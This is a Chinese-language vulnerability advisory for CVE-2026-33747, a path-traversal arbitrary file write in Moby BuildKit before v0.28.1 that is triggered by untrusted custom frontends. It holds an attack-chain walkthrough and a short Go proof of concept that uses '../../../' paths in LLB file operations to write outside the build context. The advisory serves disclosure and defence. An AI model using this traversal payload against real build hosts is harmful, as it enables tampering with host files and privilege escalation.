IPBUF安全漏洞报告
English
CVE-2026-33747 CVSS 8.4 高危

CVE-2026-33747 BuildKit任意文件写入漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33747
漏洞类型
任意文件写入
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Moby BuildKit

相关标签

任意文件写入路径遍历BuildKit容器安全CVE-2026-33747

漏洞概述

BuildKit是一个用于将源代码转换为构建构件的工具包。在v0.28.1版本之前,当使用自定义BuildKit前端时,前端可以构造特定的API消息,导致文件被写入执行上下文的BuildKit状态目录之外。该漏洞需要使用通过`#syntax`或`--build-arg BUILDKIT_SYNTAX`设置的不受信任前端才会触发。使用官方受信任的前端(如docker/dockerfile)不受此问题影响。该问题已在v0.28.1版本中修复。

技术细节

该漏洞的核心在于BuildKit未能正确隔离自定义前端对文件系统的操作权限。BuildKit允许用户通过`#syntax`或`--build-arg BUILDKIT_SYNTAX`引入外部前端来解析构建指令。在受影响版本中,系统未对前端请求的写入路径进行严格的边界检查。攻击者可以构建一个恶意的BuildKit前端镜像,并在其生成的API消息中包含路径遍历字符(如`..`)。当受害者使用该不受信任的前端执行构建任务时,BuildKit守护进程会将文件写入超出其预定状态目录的位置,即宿主机文件系统的任意路径。这种任意文件写入漏洞可能导致系统关键配置被篡改、恶意二进制文件被植入,进而导致权限提升或系统完全被控。

攻击链分析

STEP 1
制作恶意镜像
攻击者创建一个包含恶意代码的BuildKit前端镜像,该代码能够发送带有路径遍历序列的LLB定义。
STEP 2
诱导受害者使用
攻击者诱导受害者使用该不受信任的前端,通过在Dockerfile中指定`#syntax=attacker/malicious-frontend`或在构建命令中使用`--build-arg BUILDKIT_SYNTAX=...`。
STEP 3
执行构建
受害者执行构建命令(如`docker build .`),BuildKit守护进程拉取并加载攻击者指定的恶意前端。
STEP 4
触发漏洞
恶意前端解析构建请求,并向BuildKit守护进程发送特制的API消息,利用路径遍历将文件写入宿主机的任意位置(如/etc/或/root/)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC Concept: Malicious BuildKit Frontend (Go) // This simulates a frontend sending a malicious LLB definition to write outside the context. package main import ( "github.com/moby/buildkit/client/llb" ) func main() { // Define a file operation that escapes the build context // using path traversal (e.g., ../../../) st := llb.Scratch(). File( llb.Mkdir("/../../../tmp", 0755, llb.WithParents(true)), ). File( llb.Mkfile("/../../../tmp/pwned.txt", 0644, []byte("CVE-2026-33747 Exploit")), ) // In a real exploit, this state definition would be marshalled // and sent to the BuildKit daemon via the gRPC API. def, err := st.Marshal( llb.LinuxAmd64, ) if err != nil { panic(err) } // Return definition to BuildKit to trigger the write _, _ = def.ToPB() }

影响范围

Moby BuildKit < 0.28.1

防御指南

临时缓解措施
避免使用不受信任的BuildKit前端。确保不要在`#syntax`指令或`--build-arg BUILDKIT_SYNTAX`参数中使用来源不明或不可信的镜像地址。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表